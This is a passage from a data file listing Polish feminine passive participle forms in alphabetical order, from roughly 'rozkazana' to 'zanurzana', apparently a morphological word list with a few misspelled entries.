ana","rozjuszona","rozkazana","rozkazywana","rozkładana","rozklejana","rozklejona","rozkołysana","rozkopana","rozkopywana","rozkoszowana","rozkręcana","rozkręcona","rozkrojona","rozkruszona","rozkuta","rozkuwana","rozkwaszona","rozkwaterowana","rozkwitana","rozkwitnięta","rozłączona","rozładowana","rozładowywana","rozłamana","rozlana","rozlewana","rozliczana","rozliczona","rozlokowana","rozłożona","rozłupana","rozluźniana","rozmanażana","rozmasowana","rozmawiana","rozmazana","rozmazywana","rozmiękczona","rozmieniana","rozmieniona","rozmieszczana","rozmieszczona","rozminięta","rozmnożona","rozmontowana","rozmówiona","rozmrażana","rozmrożona","rozmyślana","rozmyta","różnicowana","rozniecana","roznieciona","rozniesiona","różniona","roznoszona","rozochocona","rozpaczana","rozpakowana","rozpakowywana","rozpalana","rozpalona","rozpamiętywana","rozpaskudzana","rozpatrywana","rozpatrzona","rozpędzana","rozpędzona","rozpętana","rozpieszczana","rozpieszczona","rozpięta","rozpiłowana","rozpinana","rozpisana","rozpisywana","rozplanowana","rozpłaszczana","rozpłaszczona","rozplątana","rozplątywana","rozpłynięta","rozpoczęta","rozpoczynana","rozpogodzona","rozporządzana","rozporządzona","rozpościerana","rozpostrzona","rozpowiadana","rozpowiedziana","rozpowszechniana","rozpowszechniona","rozpoznana","rozpoznawana","rozpracowana","rozpraszana","rozprawiana","rozprawiczona","rozprawiona","rozprostowana","rozproszona","rozprowadzana","rozprowadzona","rozpruta","rozpruwana","rozprzestrzeniana","rozprzestrzeniona","rozpuszczana","rozpuszczona","rozpychana","rozpylana","rozpylona","rozpytana","rozpytywana","rozrastana","rozreklamowana","rozrobiona","rozrośnięta","rozróżniana","rozróżniona","rozruszana","rozrysowana","rozrywana","rozrzucana","rozsadzana","rozsadzona","rozsądzona","rozścielona","rozsiana","rozsiekana","rozsiewana","rozsiodłana","rozsławiana","rozsławiona","rozsmarowana","rozsmarowywana","rozśmieszana","rozstana","rozstąpiona","rozstawana","rozstawiana","rozstawiona","rozstrojona","rozstrząsana","rozstrzeliwana","rozstrzelona","rozstrzygana","rozstrzygnięta","rozsunięta","rozsupłana","rozświetlana","rozświetlona","rozsyłana","rozsypana","rozsypywana","rozszarpana","rozszarpywana","rozszczepiana","rozszczepiona","rozszerzana","rozszerzona","rozszyfrowana","roztaczana","roztapiana","roztarta","roztoczona","roztopiona","roztrwoniona","roztrząsana","roztrzaskana","rozumiana","rozumowana","rozwalana","rozwalona","rozwarta","rozważana","rozważona","rozweselana","rozweselona","rozwiana","rozwiązana","rozwiązywana","rozwidniana","rozwiedziona","rozwierana","rozwiercona","rozwieszana","rozwieszona","rozwiewana","rozwieziona","rozwikłana","rozwinięta","rozwlekana","rozwodzona","rozwścieczana","rozwścieczona","rozzłoszczona","rugana","ruinowana","rujnowana","runięta","ruszana","ruszona","rwana","ryczana","ryglowana","rymowana","rysowana","ryta","ryzykowana","rządzona","rzeźbiona","rżnięta","rzucana","rzucona","rzygana","sabotażowana","sączona","sadzana","sadzona","sądzona","salutowana","salwowana","sankcjonowana","satysfakcjonowana","scalona","scementowana","scentrowana","scharakteryzowana","schładzana","schlana","schlapana","schlebiona","schłodzona","schowana","schroniona","schrupana","schrzaniona","schwytana","schylana","ściągnięta","ścielona","ściemniana","ściemniona","ścierana","ścierpiona","ścięta","ścigana","ścinana","ściskana","ściśnięta","ściszana","ściszona","sędziowana","segregowana","selekcjonowana","separowana","sępiona","serwowana","sfabrykowana","sfajczona","sfałszowana","sfaulowana","sfilmowana","sfinalizowana","sfinansowana","sfingowana","sformalizowana","sformatowana","sformowana","sformułowana","sforsowana","sfotografowana","shimmerowana","siana","siekana","siorbana","skadrowana","skakana","skalana","skaleczona","skalibrowana","skalkulowana","skalpowana","skanalizowana","skandowana","skanowana","skapitulowana","skarcona","skarżona","skasowana","skatalogowana","skazana","skażona","skazywana","skierowana","składana","składowana","skłaniana","sklasyfikowana","skleciona","sklejana","sklejona","sklepana","skłócona","skłoniona","sklonowana","sknocona","skojarzona","skolonizowana","skołowana","skombinowana","skomentowana","skompensowana","skompletowana","skomplikowana","skomponowana","skompresowana","skompromitowana","skomunikowana","skonana","skoncentrowana","skończona","skondensowana","skonfigurowana","skonfiskowana","skonfrontowana","skonkretyzowana","skonsolidowana","skonstruowana","skonsultowana","skonsumowana","skontaktowana","skontrolowana","skoordynowana","skopana","skopiowana","skorektowana","skorumpowana","skorygowana","skorzystana","skoszona","skracana","skradziona","skręcana","skręcona","skremowana","skreślana","skreślona","skrobana","skrobnięta","skrócona","skrojona","skropiona","skruszona","skrystalizowana","skryta","skrytykowana","skrywana","skrzecowana","skrzepnięta","skrzyczana","skrzyta","skrzywdzona","skrzyżowana","skserowana","skubana","skubnięta","skulona","skumulowana","skupiana","skupiona","skupowana","skurczona","skuszona","skuta","skuwana","skwitowana","słana","sławiona","śledzona","śliniona","ślizgana","słodzona","słuchana","słyszana","smagana","smarowana","smażona","śmiecona","smuta","smyrana","snuta","sondowana","sortowana","spafycikowana","spakowana","spalana","spałaszowana","spalona","spałowana","spamiętana","spaprana","sparafrazowana","sparaliżowana","sparowana","spartaczona","spartolona","sparzona","spasowana","spatałaszona","spauzowana","spawana","spawiona","specjalizowana","spędzana","spędzona","spekulowana","spełniana","spełniona","spenetrowana","spętana","spierana","spięta","śpiewana","spiłowana","spinana","spisana","spiskowana","spisywana","spita","spłacana","spłacona","splądrowana","splajtowana","splamiona","spłaszczona","splatana","splątana","spłatana","spławiana","spławiona","spłodzona","spłonięta","spłoszona","spłukana","spłukiwana","spluwana","spływana","spoczęta","spoczywana","spodziewana","spojona","spolaryzowana","spoliczkowana","sponiewierana","sponsorowana","spopielana","spopielona","spopularyzowana","sportretowana","sporządzana","sporządzona","spostrzegana","spotęgowana","spotkana","spotykana","spoufalana","spowalniana","spowiadana","spowodowana","spowolniona","spoźniona","spóźniona","spożytkowana","spożyta","spożywana","sprana","sprasowana","spraszana","sprawdzona","sprawiona","sprawowana","sprecyzowana","spreparowana","sprężana","sprężona","spróbowana","sprofanowana","sprofilowana","sprostowana","sproszkowana","sproszona","sprowadzana","sprowadzona","sprowokowana","spryskana","spryskiwana","sprywatyzowana","sprzątana","sprzątnięta","sprzeczana","sprzedana","sprzedawana","sprzeniewierzona","spudłowana","spustoszona","spuszczana","spuszczona","spychana","ssana","stabilizowana","stacjonowana","staczana","staranowana","starczana","stargowana","startowana","stawiana","stawiona","stemplowana","stenografowana","stepowana","sterowana","sterroryzowana","sterylizowana","stłamszona","stłumiona","stnięta","stoczona","stołowana","stonowana","stopiona","stopniowana","storpedowana","stosowana","strącana","stracona","strącona","strajkowana","straszona","stratowana","strawiona","streamowana","stresowana","streszczana","streszczona","strofowana","strojona","stroszona","strugana","struta","strymowana","strząsana","strzaskana","strząśnięta","strzelona","strzepana","strzępiona","strzepnięta","strzepywana","studiowana","studzona","stukana","stuknięta","stulona","stwardniona","stwarzana","stwierdzana","stwierdzona","stworzona","stykana","stylizowana","stymulowana","sugerowana","sumowana","sunięta","swatana","swawolona","świadczona","świecona","święcona","świerzbiona","świętowana","świntuszona","sycona","sygnalizowana","symulowana","synchronizowana","sypana","sypnięta","szachrowana","szacowana","szafowana","szamotana","szanowana","szargana","szarpana","szarpnięta","szarżowana","szasowana","szastana","szatkowana","szczędzona","szczepiona","szczerzona","szczuta","szczycona","szczypana","szczytowana","szefowana","szemrana","szepnięta","szeptana","szerzona","szkalowana","szkicowana","szklona","szkodzona","szkolona","szlachtowana","szlifowana","szmuglowana","szokowana","szorowana","szpachlowana","szpanowana","szperana","szprycowana","sztachnięta","szturchana","szturchnięta","szturmowana","szufladkowana","szuflowana","szukana","szulerowana","szwankowana","szydełkowana","szydzona","szyfrowana","szykanowana","szykowana","szyta","taktowana","tamowana","tankowana","tapetowana","taplana","taranowana","targana","targnięta","targowana","tarmoszona","tarta","tarzana","tasowana","taszczona","tatuowana","tchnięta","telefonowana","telegrfowana","teleportowana","temperowana","teoretyzowana","tępiona","terroryzowana","testowana","tkana","tknięta","tłamszona","tłoczona","tłumaczona","tłumiona","toczona","tolerowana","tonowana","topiona","torowana","torturowana","towarzyszona","trąbiona","trącana","tracona","trącona","trafiana","trafiona","tragizowana","traktowana","transferowana","transformowana","transmitowana","transportowana","tratowana","trawiona","trenowana","tresowana","triumfowana","tropiona","troszczona","truta","trwoniona","trymowana","tryskana","tryśnięta","tryumfowana","trywializowana","trzaskana","trzasnięta","trzepana","trzepnięta","trzepotana","trzęsiona","trzymana","tuczona","tułana","tulona","turlana","tuszowana","twistowana","tworzona","tykana","tyranizowana","tyrana","tytułowana","uaktualniana","uaktualniona","uaktywniana","uaktywniona","uargumentowana","uatrakcyjniona","ubabrana","ubarwiana","ubarwiona","ubawiona","ubezpieczana","ubezpieczona","ubezwłasnowolniona","ubiczowana","ubiegana","ubierana","ubijana","ubita","ubłagana","ubliżana","ubliżona","ubolewana","ubóstwiana","ubrana","ubroczona","ubrudzona","ucałowana","ucharakteryzowana","uchowana","uchroniona","uchwalana","uchwalona","uchwycona","uchylana","uchylona","uciągnięta","ucieleśniana","ucierana","ucierpiana","ucięta","ucinana","uciskana","uciśnięta","uciszana","uciszona","uciułana","ucywilizowana","uczczona","uczepiona","uczesana","uczęszczana","uczona","ucztowana","uczuta","uczyniona","udana","udaremniona","udawana","udekorowana","udeptywana","uderzana","uderzona","udobruchana","udokumentowana","udomawiana","udomowiona","udoskonalana","udoskonalona","udostępniana","udostępniona","udowadniana","udowodniona","Udramatyzowana","udręczona","udrożniona","udupiona","uduszona","udzielana","udzielona","udźwignięta","ueiwarygodniona","ufana","ufarbowana","uformowana","ufortyfikowana","ufundowana","ugadana","uganiana","ugaszana","ugaszona","ugięta","uginana","ugłaskana","ugniatana","ugodzona","ugoszczona","ugotowana","ugrana","ugruntowana","ugryziona","ugrzęznięta","uhistoryzowana","uhonorowana","uiścita","ujadana","ujarzmiana","ujarzmiona","ujawniana","ujawniona","ujęta","ujeżdżana","ujeżdżona","ujmowana","ujrzana","ukamieniowana","ukarana","ukartowana","ukąszona","ukatrupiona","ukazana","ukazywana","ukierowana","ukierunkowana","układana","uklepana","ukłoniona","ukłuta","uknuta","ukojona","ukołysana","ukończona","ukonkretniona","ukoronowana","ukradziona","ukręcana","ukręcona","ukrojona","ukryta","ukrywana","ukrzyżowana","ukształtowana","ukuta","ułagodzona","ułaskawiana","ułaskawiona","ulatniana","ułatwiana","ułatwiona","uleczana","uleczona","ulegana","ulepiona","ulepszana","ulepszona","ulokowana","ulotniona","ułożona","umacniana","umalowana","umartwiana","umawiana","umazana","umeblowana","umiejscowiona","umieszczana","umieszczona","umilana","umilona","umknięta","umniejszana","umniejszona","umocniona","umocowana","umoczona","umodelowana","umorzona","umotywowana","umówiona","umożliwiana","umożliwiona","umroczniona","umyta","unaoczniona","unicestwiana","unicestwiona","uniemożliwaina","uniemożliwiona","unierochomiona","uniesiona","unieszczęśliwiana","unieszczęśliwiona","unieszkodliwiana","unieszkodliwiona","unieważniana","unieważniona","uniewinniona","uniezależniona","unikana","uniknięta","unormowana","unoszona","unowoczesniana","unowocześniana","uodporniona","uogólniana","upakowana","upalana","upalona","upamiętniana","upamiętniona","upaństwowiona","upaprana","uparta","upaskudzona","upchana","upchnięta","upewniana","upewniona","upgradowana","upichcona","upiększana","upiększona","upierana","upierdolona","upięta","upijana","upilnowana","upinana","upita","uplastyczniona","upłynięta","upodabniana","upodobniona","upojona","upokorzana","upokorzona","upolowana","upominana","uporządkowana","upowszechniona","upozorowana","upozowana","uprana","uprasowana","upraszczana","uprawdopodobniona","uprawiana","uproszczona","uproszona","uprowadzana","uprowadzona","uprzątana","uprzątnięta","uprzedona","uprzedzana","uprzyjemniana","uprzyjemniona","uprzykrzana","uprzytomniona","upubliczniana","upubliczniona","upudrowana","upuszczana","upuszczona","upychana","urabiana","uraczana","uradowana","Urągana","uratowana","urażana","urażona","uregulowana","urobiona","uroniona","urośnięta","urozmaicana","urozmaicona","uruchamiana","uruchomiona","urwana","urywana","urządzana","urządzona","urzeczywistniana","urzeczywistniona","urżnięta","usadowiona","usadzona","usamowolniona","usankcjonowana","usatyfakcjonowana","uschnięta","uściskana","uścislona","uściśnięta","usidlona","usiedzona","uskładana","uskoczona","uskuteczniana","uskuteczniona","usłuchana","usługiwana","usłużona","usłyszana","usmażona","uśmiana","uśmiercana","uśmiercona","uśmierzona","uspana","uśpiona","uspokajana","uspokojona","uspołeczniana","usprawiedliwiana","usprawiedliwiona","usprawniona","usprzątana","ustabilizowana","ustalana","ustalona","ustanawiana","ustanowiona","ustąpiona","ustatkowana","ustawiana","ustawiona","ustępowana","ustosunkowana","ustrojona","ustrzegana","ustrzelona","usunięta","ususzona","usuwana","uświadamiana","uświadczona","uświadomiona","uświęcona","uświniona","usychana","usypana","usypiana","usystematyzowana","usytuowana","uszanowana","uszczelniana","uszczęśliwiana","uszczęśliwiona","uszczuplona","uszczypnięta","uszkadzana","uszkodzona","uszlachetniana","uszlachetniona","usztywniona","uszykowana","uszyta","utajniona","utargowana","utarta","utemperowana","utkana","utknięta","utkwiona","utoczona","utopiona","utorowana","utożsamiana","utożsamiona","utracona","utrącona","utrudniana","utrudniona","utrwalana","utrwalona","utrzymywana","utuczona","utulona","utwierdzana","utwierdzona","utworzona","utylizowana","uwalniana","uwalona","uwarunkowana","uważana","uwiązana","uwiązywana","uwidoczniona","uwieczniana","uwieczniona","uwielbiana","uwielbiona","uwieńczona","uwierana","uwierzona","uwieszona","uwieziona","uwięziona","uwijana","uwikłana","uwinięta","uwita","uwłaczana","uwłaszczona","uwodzona","uwolniona","uwsteczniana","uwsteczniona","uwydatniana","uwypiklona","uwzględniana","uwzględniona","użądlona","uzależniana","uzależniona","uzasadniana","uzasadniona","uzbierana","uzbrajana","uzbrojona","uzdrawiana","uzdrowiona","użerana","uzewnętrzniana","uzewnętrzniona","uzgadniana","uzgodniona","uziemiona","uzmysłowiona","uznana","uznawana","uzupełniana","uzupełniona","uzurpowana","użyczana","użyczona","uzyskana","uzyskiwana","użyta","używana","wabiona","wąchana","wachlowana","wahana","walczona","wałkowana","walnięta","walona","ważona","wbijana","wbita","wcelowana","wchłonięta","wciągana","wciągnięta","wcielana","wcielona","wcierana","wcięta","wcinana","wciskana","wciśnięta","wczepiona","wczołgana","wczuta","wczytana","wczytywana","wdana","wdarta","wdawana","wdepnięta","wdeptana","wdetonowana","wdmuchiwana","wdrapana","wdrapywana","wdrażana","wdrążona","wdrożona","wduszona","wdychana","wdzierana","wędkowana","wentylowana","wepchana","wepchnięta","werbowana","weryfikowana","wessana","wetkana","wetknięta","wezwana","wgłębiana","wgniatana","wgnieciona","wgrana","wgryzana","wgryziona","wiązana","wibrowana","widywana","widziana","wiedzona","wielbiona","wiercona","wierzgana","wierzona","wieszana","wietrzona","więżona","wikłana","windowana","winszowana","wiosłowana","wirowana","witana","wita","wizualizowana","wjeżdżana","wkalkulowana","wkładana","wklejana","wklejona","wklepana","wkłuta","wkomponowana","wkopana","wkopywana","wkraczana","wkradana","wkradziona","wkręcana","wkręcona","wkupiona","wkurwiana","wkuta","wkuwana","włączana","włączona","władana","władowana","włamana","włamywana","wlana","wlepiana","wlepiona","wlewana","wliczana","wliczona","włożona","wmanewrowana","wmanipulowana","wmawiana","wmieszana","wmówiona","wmurowana","wmuszona","wnerwiana","wnerwiona","wniesiona","wnikana","wniknięta","wnioskowana","wnoszona","wodowana","wojowana","wołana","woskowana","wożona","wpajana","wpakowana","wparowana","wpasowana","wpatrywana","wpędzana","wpędzona","wperswadowana","wpieniona","wpięta","wpisana","wpisywana","wpłacana","wpłacona","wplatana","wplątana","wplątywana","wpojona","wpompowana","wpraszana","wprawiana","wproszona","wprowadzana","wprowadzona","wpuszczona","wpychana","wrabiana","wręczana","wrobiona","wróżona","wryta","wrzucana","wrzucona","wrzynana","wsadzana","wsadzona","wskazana","wskazywana","wskórana","wskrzeszana","wskrzeszona","wślizgiwana","wślizgnięta","wsłuchana","wsparta","wspierana","wspięta","współczuta","współodczuwana","współtworzona","współżyta","wspomagana","wspominana","wspomniana","wstąpiona","wstawiana","wstawiona","wstrząsana","wstrząśnięta","wstrzelona","wstrzykiwana","wstrzyknięta","wstrzymana","wstrzymywana","wstukana","wsunięta","wsuwana","wsypana","wszamana","wszczepiana","wszczepiona","wszczęta","wszczynana","wszyta","wtajemniczana","wtajemniczona","wtapiana","wtargnięta","wtarta","wtaszczona","wtłoczona","wtopiona","wtrącona","wtryniana","wtulana","wtulona","wtykana","wwalona","wwiercana","wwiercona","wwieziona","wwożona","wyartykułowana","wyautowana","wybaczana","wybaczona","wybadana","wybatożona","wybawiona","wybebeszona","wybełkotana","wybiczowana","wybielana","wybielona","wybierana","wybijana","wybita","wybłagana","wyblaknięta","wybrandzlowana","wybrana","wybroniona","wybrzydzana","wybuchana","wybuchnięta","wybudowana","wybudzana","wybudzona","wyburzana","wyburzona","wycackana","wycałowana","wyceniana","wyceniona","wychlana","wychłostana","wychodowana","wychowana","wychowywana","wychrobotana","wychwalana","wychwycona","wychylana","wychylona","wyciągana","wyciągnięta","wyciekana","wycieniowana","wycierana","wycięta","wycinana","wyciskana","wyciśnięta","wyciszana","wyciszona","wycofana","wyćwiczona","wycyckana","wycyganiona","wyczarowana","wyczarterowana","wyczekana","wyczekiwana","wyczerpana","wyczesana","wyczołgana","wyczołgiwana","wyczuta","wyczuwana","wyczyniana","wyczyszczona","wyczytana","wyczytywana","wydalana","wydalona","wydana","wydębiona","wydedukowana","wydelegowana","wydepilowana","wydeptywana","wydłubana","wydłubywana","wydłużana","wydłużona","wydmuchana","wydmuchiwana","wydobyta","wydobywana","wydojona","wydoroślana","wydostana","wydrana","wydrapana","wydrapywana","wydrążona","wydrukowana","wydukana","wyduszona","wydychana","wydziedziczona","wydzielana","wydzielona","wydzierana","wydzierżawiona","wydziobana","wydziwiana","wydzwaniana","wyedukowana","wyedytowana","wyeeliminowana","wyegzekwowana","wyeksmitowana","wyekspediowana","wyeksploatowana","wyeksponowana","wyeksportowana","wyeliminowana","wyemigrowana","wyemitowana","wyewoluowana","wyfrunięta","wygadana","wygadywana","wyganiana","wygarbowana","wygarniana","wygarnięta","wygasana","wygaśnięta","wygaszana","wygaszona","wygenerowana","wygięta","wyginana","wygładzana","wygładzona","wygłaszana","wygłodzona","wygłosowana","wygłoszona","wygłówkowana","wygnana","wygolona","wygoniona","wygooglowana","wygospodarowana","wygotowana","wygrana","wygrawerowana","wygrażana","wygrywana","wygryziona","wygrzana","wygrzebana","wygrzebywana","wygrzewana","wygubiona","wyhaczona","wyhaftowana","wyhamowana","wyhodowana","wyizolowana","wyjadana","wyjaśniana","wyjaśniona","wyjawiana","wyjawiona","wyjedzona","wyjęta","wyjmowana","wykadrowana","wykalibrowana","wykalkulowana","wykańczana","wykantowana","wykąpana","wykaraskana","wykarczowana","wykarmiana","wykasowana","wykastrowana","wykazana","wykazywana","wykierowana","wykitowana","wykiwana","wykładana","wyklarowana","wyklepana","wyklinana","wykłócana","wykluczana","wykluczona","wykluta","wykłuta","wykminiona","wykolejona","wykołowana","wykombinowana","wykonana","wykończona","wykonywana","wykopana","wykopnięta","wykopywana","wykorkowana","wykorzeniana","wykorzeniona","wykorzystana","wykorzystywana","wykoszona","wykpita","wykradana","wykradnięta","wykręcana","wykręcona","wykreowana","wykreślana","wykreślona","wykrochmalona","wykrojona","wykrwawiana","wykrwawiona","wykryta","wykrywana","wykrzesana","wykrztuszona","wykrzyczona","wykrzykiwana","wykrzyknięta","wykrzywiana","wykształcona","wyksztuszona","wykupiona","wykupywana","wykuta","wykuwana","wyłączana","wyłączona","wylądowana","wyładowana","wyładowywana","wyłajana","wyłamana","wyłamywana","wyłaniana","wylansowana","wylana","wyłapana","wyłapywana","wyławiana","wyleasingowana","wyleczona","wylęgana","wylegimytowana","wylewana","wyłgana","wylicytowana","wyliczana","wyliczona","wylizana","wylizywana","wylogowana","wyłoniona","wylosowana","wyłowiona","wyłożona","wyłudzana","wyłudzona","wyłupana","wyłuskana","wyłuskiwana","wyłuszczona","wyluzowana","wymacana","wymachiwana","wymagana","wymahiwana","wymalowana","wymamrotana","wymanewrowana","wymarzona","wymasowana","wymawiana","wymazana","wymazywana","wymeldowana","wymeldowywana","wymiatana","wymieciona","wymieniana","wymieniona","wymierzana","wymieszana","wymigana","wymigiwana","wymijana","wyminięta","wymknięta","wymoczona","wymodelowana","wymontowana","wymordowana","wymsknięta","wymuszana","wymyślana","wymyślona","wymyta","wynagradzana","wynagrodzona","wynajdowana","wynajdywana","wynajęta","wynajmowana","wynaleziona","wynarodowiona","wynegocjowana","wyniesiona","wyniknięta","wyniszczana","wyniszczona","wyniuchana","wynoszona","wynurzana","wyobrażana","wyobrażona","wyodrębniona","wyolbrzymiana","wyolbrzymiona","wyorbowana","wyosiowana","wyostrzana","wyostrzona","wypaczana","wypakowana","wypakowywana","wypalana","wypalona","wypałowana","wyparowana","wyparta","wypasana","wypastowana","wypatroszona","wypatrywana","wypatrzona","wypchana","wypchnięta","wypędzana","wypędzlowana","wypełniana","wypełniona","wypersfadowana","wyperswadowana","wypierana","wypięta","wypijana","wypinana","wypisana","wypisywana","wypita","wypłacana","wypłacona","wypłakana","wypłakiwana","wypłaszczona","wyplatana","wyplątana","wypleniona","wyplewiona","wypłoszona","wypłukana","wypłukiwana","wypluta","wypluwana","wypocona","wypoczęta","wypolerowana","wypominana","wypomniana","wypompowana","wypompowywana","wyposażona","wypowiadana","wypowiedziana","wypoziomowana","wypożyczana","wypracowana","wypracowywana","wyprana","wyprasowana","wypraszana","wyprawiana","wyprawiona","wypróbowana","wyprodukowana","wyprojektowana","wypromieniowana","wypromowana","wyprostowana","wyprostowywana","wyproszona","wyprowadzana","wyprowadzona","wypróżniana","wypróżniona","wypruta","wypruwana","wyprzedana","wyprzedawana","wyprzedzana","wyprzedzona","wyprzęgana","wypstrykana","wypucowana","wypuszczana","wypuszczona","wypychana","wypytana","wypytywana","wyrąbana","wyrabiana","wyrąbywana","wyratowana","wyrażana","wyrażona","wyrecytowana","wyręczana","wyręczona","wyregulowana","wyrejestrowana","wyremontowana","wyreżyserowana","wyrobiona","wyrolowana","wyrośnięta","wyrównana","wyrównywana","wyróżniana","wyróżniona","wyrugowana","wyruszana","wyrwana","wyrypana","wyrysowana","wyryta","wyrywana","wyrządzona","wyrzeźbiona","wyrżnięta","wyrzucana","wyrzucona","wyrzygana","wyrzynana","wyrzywana","wysączona","wysadzana","wysadzona","wyschnięta","wyściskana","wyselekcjonowana","wysępiona","wysiadywana","wysiedzona","wysilana","wysilona","wyskakiwana","wyskalowana","wyskoczona","wyskrobana","wyskubywana","wysłana","wyśledzona","wyślizgiwana","wyślizgnięta","wysłowiona","wysłuchana","wysłuchiwana","wysmagana","wysmarkana","wysmarowana","wysmażana","wysmażona","wyśmiana","wyśmiewana","wysmołowana","wysmyrana","wyśniona","wysnuta","wysnuwana","wysondowana","wyspecjalizowana","wyśpiewana","wyśpiewywana","wyspowiadana","wysprzątana","wysprzedana","wyssana","wystartowana","wystawiona","wysterelizowana","wysterylizowana","wystosowana","wystosowywana","wystraszona","wystrojona","wystrugana","wystrychnięta","wystrzegana","wystrzelana","wystrzeliwana","wystrzelona","wystudzona","wystukana","wystukiwana","wystygnięta","wysunięta","wysuszana","wysuwana","wyswatana","wyświadczana","wyświadczona","wyświetlana","wyświetlona","wyswobodzona","wysyłana","wysypana","wysypywana","wysysana","wyszabrowana","wyszalana","wyszarpana","wyszarpnięta","wyszasowana","wyszczotkowana","wyszczuplona","wyszeptana","wyszkolona","wyszlifowana","wyszorowana","wyszperana","wyszukana","wyszukiwana","wyszumiona","wyszykowana","wyszyta","wytapetowana","wytargana","wytargowana","wytarta","wytarzana","wytaszczona","wytatuowana","wytchnięta","wytępiona","wytknięta","wytłoczona","wytłumaczona","wytłumiona","wytoczona","wytrąbiona","wytrącana","wytrącona","wytransmitowana","wytransportowana","wytrenowana","wytresowana","wytriangulowana","wytropiona","wytruta","wytrząsana","wytrzasnięta","wytrząśnięta","wytrzebiona","wytrzepana","wytrzeszczana","wytrzeźwiana","wytrzymana","wytrzymywana","wytwarzana","wytworzona","wytyczona","wytykana","wytypowana","wyuczona","wywabiana","wywabiona","wywąchana","wywalana","wywalczona","wywalona","wywarta","wywarzana","wyważana","wyważona","wywęszana","wywężykowana","wywiana","wywiązana","wywiązywana","wywierana","wywiercona","wywieszana","wywieszona","wywietrzona","wywieziona","wywijana","wywindowana","wywinięta","wywłaszczona","wywlekana","wywnętrzniona","wywnioskowana","wywodzona","wywolana","wywoływana","wywoskowana","wywożona","wywracana","wywrócona","wywróżona","wywyższana","wyżalona","wyzbyta","wyzdrowiona","wyżebrana","wyżerana","wyzerowana","wyzionięta","wyznaczana","wyznaczona","wyznana","wyznawana","wyzwalana","wyzwana","wyzwolona","wyzygzakowana","wyżynana","wyzyskana","wyzyskiwana","wyżyta","wyzywana","wyżywana","wyżywiona","wzbijana","wzbita","wzbogacana","wzbogacona","wzbraniana","wzbudzana","wzbudzona","wzburzana","wzburzona","wżeniona","wzięta","wzmacniona","wzmagana","wzmocniona","wznawiana","wzniecana","wznieciona","wzniesięta","wznoszona","wznowiona","wzorowana","wzrośnięta","wzruszona","wzwyżana","wzywana","zaabordowana","zaadaptowana","zaadoptowana","zaadresowana","zaakcentowana","zaakceptowana","zaaklimatyzowana","zaalarmowana","zaanektowana","zaangażowana","zaanonsowana","zaapelowana","zaaplikowana","zaaportowana","zaaprobowana","zaaranżowana","zaaresztowana","zaatakowana","zabaczona","zabalowana","zabandażowana","zabarwiona","zabarykadowana","zabawiana","zabawiona","zabepieczana","zabetonowana","zabezpieczona","zabierana","zabita","zabłądzona","zablefowana","zabłocona","zablokowana","zabraniana","zabrana","zabrnięta","zabroniona","zabrudzona","zabudowana","zabukowana","zabulona","zaburzona","zabutelkowana","zacementowana","zacerowana","zachciana","zachęcana","zachęcona","zachlapana","zachodzona","zachomikowana","zachorowana","zachowana","zachowywana","zachwalana","zachwalona","zachwiana","zachwycona","zaciągana","zaciągnięta","zaciążona","zaciekawiona","zaciemniana","zaciemniona","zacierana","zacieśniona","zacięta","zacinana","zaciskana","zaciśnięta","zaćmiona","zacumowana","zacytowana","zaczadzona","zaczarowana","Zaczepiana","zaczepiona","zaczerpana","zaczesana","zaczęta","zaczołgana","zaczynana","zadarta","zadawalana","zadawana","zadbana","zadebiutowana","zadedykowana","zadeklamowana","zadeklarowana","zademonstrowana","zadenucjowana","zadepeszowana","zadeptana","zadeptywana","zadęta","zadławiona","żądlona","zadłużana","zadłużona","zadokowana","zadomowiona","zadowalana","zadrapana","zadraśnięta","zadręczana","zadręczona","zadrutowana","zadurzana","zadurzona","zaduszona","zadymiona","zadźgana","zadziobana","zadziwiana","zadziwiona","zafakturowana","zafałszowana","zafarbowana","zafiksowana","zafundowana","zagadana","zagadnięta","zagadywana","zagajona","zaganiana","zagapiona","zagarażowana","zagarniana","zagarnięta","zagaszona","zagazowana","zagęszczona","zagięta","zaginana","zaginięta","zagłębiana","zagłębiona","zagłodzona","zagłuszana","zagłuszona","zagmatwana","zagnana","zagnieżdżona","zagojona","zagoniona","zagospodarowana","zagotowana","zagrabiona","zagradzana","zagrażana","zagrodzona","zagrywana","zagryzana","zagryziona","zagrzana","zagrzebana","zagrzewana","zagubiona","zagwarantowana","zahaczona","zahamowana","zahandlowana","zaharowana","zahartowana","zahipnotyzowana","zaholowana","zaimitowana","zaimplantowana","zaimplementowana","zaimprowizowana","zainaugurowana","zainfekowana","zainicjowana","zainkasowana","zainscenizowana","zainspirowana","zainstalowana","zainteresowana","zaintrygowana","zaintubowana","zainwestowana","zaizolowana","zajadana","zajana","zajarana","zajechana","zajęta","zajmowana","zakablowana","zakamuflowana","zakasana","zakasowana","zakąszana","zakatalogowana","zakatowana","zakatrupiona","zakazana","zakażana","zakazywana","zakiszona","zakładana","zaklasyfikowana","zaklejana","zaklejona","zaklepana","zaklepywana","zaklinana","zaklinowana","zakłócana","zakłócona","zaklopotana","zakłuta","zakneblowana","zakodowana","zakolczykowana","zakolorowana","zakołysana","zakomunikowana","zakończona","zakonserwowana","zakopana","zakopywana","zakorzeniana","zakorzeniona","zakoszona","zakosztowana","zakotwiczana","zakotwiczona","zakpiona","zakradana","zakręcana","zakręcona","zakreślana","zakreślona","zakrwawiona","zakryta","zakrywana","zakrzyczana","zakrzyknięta","zakrzywiana","zakrzywiona","zaksięgowana","zaktualizowana","zaktywizowana","zaktywowana","zakumana","zakupiona","zakurzona","zakuta","zakuwana","zakwaterowana","zakwestionowaa","zakwitnięta","załączona","załadowana","załagodzona","zalamana","zalaminowana","załamywana","zalana","załapana","załatana","załatwiana","załatwiona","zalatywana","zalecana","zalecona","zaleczona","zalegalizowana","zalegana","zalepiana","zalepiona","zalewana","zaliczana","zaliczona","załkana","zalogowana","żałowana","założona","zaludniona","zamacana","zamachnięta","zamącona","zamalowana","zamanewrowana","zamanifestowana","zamarkowana","zamartwiana","zamarynowana","zamarzana","zamarznięta","zamaskowana","zamawiana","zamazana","zamazywana","zamęczana","zamęczona","zameldowana","zamelinowana","zamerykanizowana","zamiatana","zamieniana","zamieniona","zamieszana","zamieszczana","zamieszczona","zamieszkana","zamieszkiwana","zaminowana","zamknięta","zamocowana","zamoczona","zamontowana","zamordowana","zamortyzowana","zamotana","zamówiona","zamrażana","zamroczona","zamrożona","zamulana","zamurowana","zamydlona","zamykana","zanalizowana","zanegowana","zaniechana","zanieczyszczana","zanieczyszczona","zaniedbana","zaniedbywana","zaniepokojona","zaniesiona","zanihilowana","zanikana","zaniknięta","zaniżana","zaniżona","zanoszona","zanotowana","zanucona","zanudzana","zanudzona","zanurzana","zan